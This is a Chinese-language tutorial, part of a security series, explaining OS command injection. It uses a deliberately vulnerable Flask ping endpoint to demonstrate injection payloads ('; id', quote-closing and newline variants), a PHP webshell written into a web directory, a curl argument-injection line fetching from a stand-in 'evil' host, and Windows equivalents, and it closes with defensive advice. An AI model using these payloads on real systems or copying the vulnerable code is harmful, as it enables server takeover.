4.55 命令注入:一个分号,为什么就能多执行一条命令
「命令注入与反弹 Shell」系列 Part 1(免费)。 这一篇把命令注入(OS Command Injection)讲透:什么情况下你的输入会被当成 shell 命令解释、每个 shell 特殊符号到底在做什么、注入点处在引号里又该怎么办。 Part 2 是反弹 Shell:让目标主动连回来,讲拿到执行能力后,怎么把它变成一个稳定的交互式控制;Part 3 讲盲执行与数据外带,Part 4 讲过滤绕过,Part 5 讲各语言的参数化防御。
一、先看一个“很正常”的功能
很多网站都有这类运维小工具:你输入一个 IP,服务器帮你 ping 一下,看主机通不通。下面用 Python(Flask)写一个最常见、也确实存在漏洞的版本:
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/ping')
def ping():
ip = request.args.get('ip', '')
# 直接把用户输入拼进命令字符串,再交给 os.system
os.system('ping -c 4 ' + ip)
return 'done'开发者的预期是:你输入 127.0.0.1,最终在服务器上执行:
ping -c 4 127.0.0.1看起来没毛病。但如果攻击者输入的不是 IP,而是:
127.0.0.1; id拼出来的字符串就变成了:
ping -c 4 127.0.0.1; id在 shell 眼里,分号 ; 是命令分隔符,意思是“前面的命令执行完,接着执行后面的”。于是服务器先 ping,然后老老实实执行了 id:
$ ping -c 2 127.0.0.1; id
PING 127.0.0.1 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss
uid=33(www-data) gid=33(www-data) groups=33(www-data)注意最后一行:Web 服务是以 www-data 身份运行的,id 把这个身份原样返回了。攻击者没有破解任何密码、没有绕过任何登录,他只是利用了“shell 会解释特殊符号”这一特性,让程序多执行了一条命令——这就是命令注入。
二、最关键的前提:你的输入,到底有没有经过 shell
这是 90% 的新手(以及不少网上教程)会搞错的地方,也是判断“到底能不能注入”的第一道分水岭。
程序执行一条系统命令,底层其实有两条完全不同的路径:
- 路径①「直接 exec」:程序把可执行文件和参数分成一个数组交给内核,内核直接拉起进程,中间没有 shell。既然没有 shell,
;、|、&&这些符号谁来解释?没人。它们会被原封不动地当成普通参数传给程序,命令注入自然不成立。 - 路径②「经过 shell」:程序把整串字符串交给
/bin/sh -c(Linux)或cmd /c(Windows),由 shell 先做一遍解析,再决定执行哪些命令。这时候用户输入里的元字符才会被“当成符号”——命令注入只可能发生在这条路径上。
深挖:为什么有些教程里的 Java 例子“其实注入不了”
你可能在很多资料里见过这样的 Java 示例,并被告知输入 ; id 就能执行命令:
Runtime.getRuntime().exec("ping -c 4 " + ip); // 注意:单字符串版本但严格来说,这个写法里 ; id 并不会被执行。原因藏在 JDK 的实现里:Runtime.exec(String) 内部会先用 StringTokenizer 按空白把字符串拆成一个参数数组,然后调用数组版的 exec 直接启动进程——它默认并不经过 shell。于是 ;、id 被拆成了两个普通参数,一起塞给了 ping,ping 只会报一句“unknown host”之类的错。
要让 Java 里的元字符生效,必须显式把命令交给 shell,例如:
String[] cmd = { "/bin/sh", "-c", "ping -c 4 " + ip };
Runtime.getRuntime().exec(cmd);顺带认识一个“近亲”:参数注入(Argument Injection)。 即使走的是路径①、没有 shell,只要输入能引入空白,就可能往目标程序里追加额外的参数 / 开关。比如某个功能内部调用
curl 用户输入,你输入-o /tmp/x http://evil/x,就可能改变 curl 的行为;类似的还有find -exec、ssh -oProxyCommand=、tar --checkpoint-action等。它不能直接用;拼命令,但借助危险开关同样能走到代码执行。这是比命令注入更隐蔽的一类问题,后面讲中间件和绕过的时候还会遇到。
常见语言:哪些函数“过 shell”,哪些“不过”
下面给一张速览表(每种语言的安全写法在 Part 5 系统展开):
| 语言 | 经过 shell(元字符生效,危险) | 不经过 shell(参数数组,相对安全) |
|---|---|---|
| Python | os.system、os.popen、subprocess.*(..., shell=True) | subprocess.run(["ping","-c","4",ip]) |
| PHP | system、exec、shell_exec、passthru、popen、反引号 ` | (PHP 无原生数组式执行,只能靠校验 / 禁用函数) |
| Java | exec(new String[]{"/bin/sh","-c", s}) | exec(new String[]{"ping","-c","4",ip}) |
| Node.js | child_process.exec(s) | execFile("ping",["-c","4",ip])、spawn(...) |
| C | system(s)、popen(s,...) | execv(path, argv[]) |
记住这张表背后的原则即可:凡是“把一整串字符串交给一个 shell 去跑”的写法,才谈得上命令注入。 这也是为什么这一篇用 Python 的 os.system(它内部就是 /bin/sh -c)作为开场示例——它是真实可利用的。
三、shell 拿到这行字之后,做了什么
既然命令注入是在“和 shell 对话”,那就得知道 shell 拿到一行字符串后,按什么顺序处理它。这个顺序直接决定了某些 payload 为什么有效。
几个对利用最关键的点:
- 操作符在很前面就被识别了。 shell 先把整行按
;、|、&&等切成“一条一条的命令”,再分别处理每条。所以你用;就能硬生生切出一条新命令。 - 命令替换
$()在第 3 步就执行了,早于外层命令真正运行。 这就是为什么把$(id)塞进命令里,id会“抢先”执行——它属于解析阶段的展开动作,而不是等外层程序跑到一半才发生。 - 展开之后还会做单词拆分。 这也是为什么“注入一个空格 + 额外参数”能起作用(呼应上面的参数注入)。
理解了这条流水线,你就不需要死记 payload:想追加命令就用分隔符,想让命令提前跑就用替换,想让两条命令产生条件关系就用 &&/||。
四、逐个吃透拼接符号(配真实回显)
下面以“原命令是 ping -c 4 输入点”为例,把每个符号彻底搞懂。
1. ; 分号:无条件顺序执行
不管前一条命令成功还是失败,分号后面的都会执行。这是最直接、最常用的注入符:
$ echo step1; echo step2
step1
step22. && 与 ||:看前一条的“退出码”
每条命令结束后都会留下一个退出码,存在特殊变量 $? 里:0 表示成功,非 0 表示失败。
A && B:只有A成功(退出码 0)才执行B;A || B:只有A失败(退出码非 0)才执行B。
$ ping -c 1 -W 1 127.0.0.1 >/dev/null && echo "主机存活"
主机存活
$ ping -c 1 -W 1 192.0.2.99 >/dev/null || echo "主机不可达"
主机不可达这在注入里很有用:你可以让“是否执行你的命令”绑定到原命令的成败上,也常用来做“原命令失败也不影响我执行”的兜底,例如 127.0.0.1 || id。
3. | 管道:把前一条的输出喂给后一条
A | B 会把 A 的标准输出,接到 B 的标准输入上。哪怕后一条命令根本不读输入,它照样会被启动执行:
$ echo whatever | id
uid=33(www-data) gid=33(www-data) groups=33(www-data)id 并不理会管道送来的 whatever,但它确实运行了。实战中管道更多用于“把某个命令的输出交给 grep / 另一个工具处理”。
4. & 后台符:把前一条丢到后台
A & B 会让 A 在后台运行、立即返回,接着执行 B。在注入点位于命令中间、而后面还拖着原命令参数时特别好用:
$ sleep 20 & id
[1] 13042
uid=33(www-data) gid=33(www-data) groups=33(www-data)5. $() 与反引号:命令替换
$(...) 会先执行括号里的命令,再用它的输出替换到当前位置:
$ echo "当前身份是 $(id)"
当前身份是 uid=33(www-data) gid=33(www-data) groups=33(www-data)反引号 `...` 是等价的老式写法,现在更推荐 $()(支持嵌套、可读性更好)。
6. 换行 \n:直接另起一条
shell 把换行也当作命令结束符。通过 HTTP 注入时,换行通常编码为 %0a:
ip=127.0.0.1%0aid服务端拼出两行,等于在新的一行执行了 id。
7. 重定向 > <:不只是“追加命令”,还能写文件
严格说重定向不是“拼接新命令”,但它在利用中极其重要——可以把内容写进文件。如果 Web 目录可写,甚至能直接写一个网页木马:
$ echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php
# 之后访问 shell.php?c=id 即可执行命令能否写成功取决于目录权限,但这是“命令注入 → 落地持久化”的一条经典路径。
符号总表(命令注入“字母表”)
| 符号 | 名称 | shell 里的含义 | 输入示例 |
|---|---|---|---|
; | 分号 | 无条件顺序执行 | 127.0.0.1; id |
&& | 逻辑与 | 前一条成功才执行 | 127.0.0.1 && id |
|| | 逻辑或 | 前一条失败才执行 | 127.0.0.1||id |
| | 管道 | 前一条输出作为后一条输入 | 127.0.0.1 | id |
& | 后台符 | 前一条进后台,立即执行下一条 | 127.0.0.1 & id |
$() | 命令替换 | 先执行括号内、用输出替换 | $(id) |
` ` | 反引号 | 同 $(),老式写法 | `id` |
换行 %0a | 换行 | 直接开始一条新命令 | 127.0.0.1%0aid |
> < | 重定向 | 写出 / 读入文件 | echo ... > /路径/x.php |
新手最容易混的两组,务必分清:一个竖线 | 是管道,两个 || 才是“失败才执行”;一个 & 是后台,两个 && 才是“成功才执行”。
五、注入点在“哪里”:你可能要先闭合引号
前面的例子都假设输入位于命令末尾、且没有引号包裹。但真实代码里,输入常常被引号包住、或夹在命令中间。处在引号内部时,元字符会被当成普通字符,必须先“闭合引号”跳出当前上下文。
| 输入在命令中的位置 | 后端拼出的形式 | 该怎么注入 |
|---|---|---|
| 命令末尾,无引号 | ping -c 4 X | 127.0.0.1; id |
| 双引号内 | ping -c 4 "X" | 127.0.0.1"; id; " |
| 单引号内 | ping -c 4 'X' | 127.0.0.1'; id; ' |
| 夹在命令中间 | ping X -c 4 | 127.0.0.1; id ; |
以双引号为例,输入 127.0.0.1"; id; " 后,命令被拼成:
ping -c 4 "127.0.0.1"; id; ""
# └─引号正常闭合─┘ └id┘ └空命令,仅为凑齐引号┘末尾那个 "" 是为了让“被我们拆开的引号”重新配对,避免语法错误。单引号同理。
单、双引号还有个重要区别:双引号内仍会进行
$、反引号等展开,单引号内则完全不展开、内容原样保留。 这会影响你在不同上下文里能否用$(),绕过篇(Part 4)会细讲。
六、Windows 目标:cmd.exe 的异同
如果目标是 Windows,底层 shell 是 cmd.exe,思路完全一样,但符号有差异,最容易踩的坑是:Windows 没有 ; 这个命令分隔符,顺序执行用 &。
| 作用 | Linux bash/sh | Windows cmd.exe |
|---|---|---|
| 无条件顺序执行 | ; | & |
| 成功才执行 | && | && |
| 失败才执行 | || | || |
| 管道 | | | | |
| 命令替换 | $(...) | 没有内联写法,用 for /f |
| 后台运行 | & | start /b |
例如对一台 Windows 主机,顺序执行两条命令应写成 127.0.0.1 & whoami,而不是 ; whoami。判断目标系统(看报错页、TTL、大小写敏感与否)是命令注入的第一步。
七、注入之后:三种结果与利用方向
按注入后能不能在页面上看到结果,通常分三类,这决定了下一步怎么利用:
- 有回显(In-band):像上面的 ping 工具,
id的输出直接显示在页面上,最直观,直接读whoami、ls、cat /etc/passwd等。 - 无回显(盲注,Blind):命令执行了,但结果不返回。这时先用延时确认(如
sleep 5,页面明显变慢即证明可注入),再想办法把结果**外带(OOB, Out-of-Band)**出来,比如 DNS 回连、HTTP 回连。具体手法在 Part 3 细讲。 - 命令嵌套 / 替换:用
$()把注入命令的结果拼回原命令,有时能间接读到结果。
命令注入的危害本质是在目标服务器上以服务账户身份执行任意命令:读敏感文件、写网页木马、内网探测、装持久化、甚至接管整台机器。而实战中我们通常不会满足于在网页里一条条手敲——而是让目标主动连回一个稳定的交互式 Shell,这正是 Part 2 的内容。
八、命令注入 vs 代码注入:别混为一谈
| 类型 | 注入的是 | 典型函数 / 场景 |
|---|---|---|
| 命令注入(OS Command Injection) | 操作系统 shell 命令 | system、exec、shell_exec、ProcessBuilder |
| 代码注入(Code Injection) | 应用自身语言的代码 | eval、assert、模板 / 表达式引擎、反序列化 |
二者层级不同、又经常互相转化:命令注入是直接调系统命令;代码注入是先注入一段语言代码(如 eval 里的 Python/PHP),再由这段代码去调系统命令。本系列聚焦命令注入;代码注入在表达式注入(4J)、各语言生态(5E)和反序列化(5B)里讲。
九、防御:先建立正确的直觉
命令注入的根治思路非常清晰,这里先建立框架,每种语言的具体安全写法在 Part 5 展开:
- 优先不经过 shell(参数化调用)。 用上文“路径①”的数组式 API,把可执行文件和参数分开传,从根上消除“拼接 → shell 解析”这一步。这是最彻底的防御。
- 必须用 shell 时,做白名单校验,而不是黑名单。 比如 ping 工具只允许符合 IP / 域名格式的输入。试图“过滤掉
;、|等危险字符”的黑名单永远列不全(编码、替代符号、新姿势都能绕,见 Part 4)。 - 最小权限运行应用。 Web 服务用低权限账户、不给不必要的目录写权限,万一被注入,危害也被限制住。
- 禁用 / 收敛危险函数,WAF 只作纵深防御的补充。 如 PHP 可在
disable_functions里关掉一批命令执行函数;WAF 能挡掉常见扫描,但不能当作唯一防线。
十、本篇小结
- 命令注入成立的前提是用户输入最终被交给 shell 解释;直接 exec 参数数组、没有 shell,元字符就不生效(Java 单字符串
exec是最常见的反例)。 - 核心符号:
;顺序、&&成功、||失败、|管道、&后台、$()替换、换行另起、>写文件;学习关键是理解语义与 shell 解析顺序,而非背 payload。 - 输入被引号包住时要先闭合引号;Windows 用
&而非;。 - 结果分有回显、盲注(延时 / 外带)、嵌套三类。
- 防御核心是不经过 shell 的参数化调用 + 白名单校验 + 最小权限。
能执行命令之后,下一步通常是让目标主动连回一个稳定的 Shell。继续看 4.56 反弹 Shell 本质。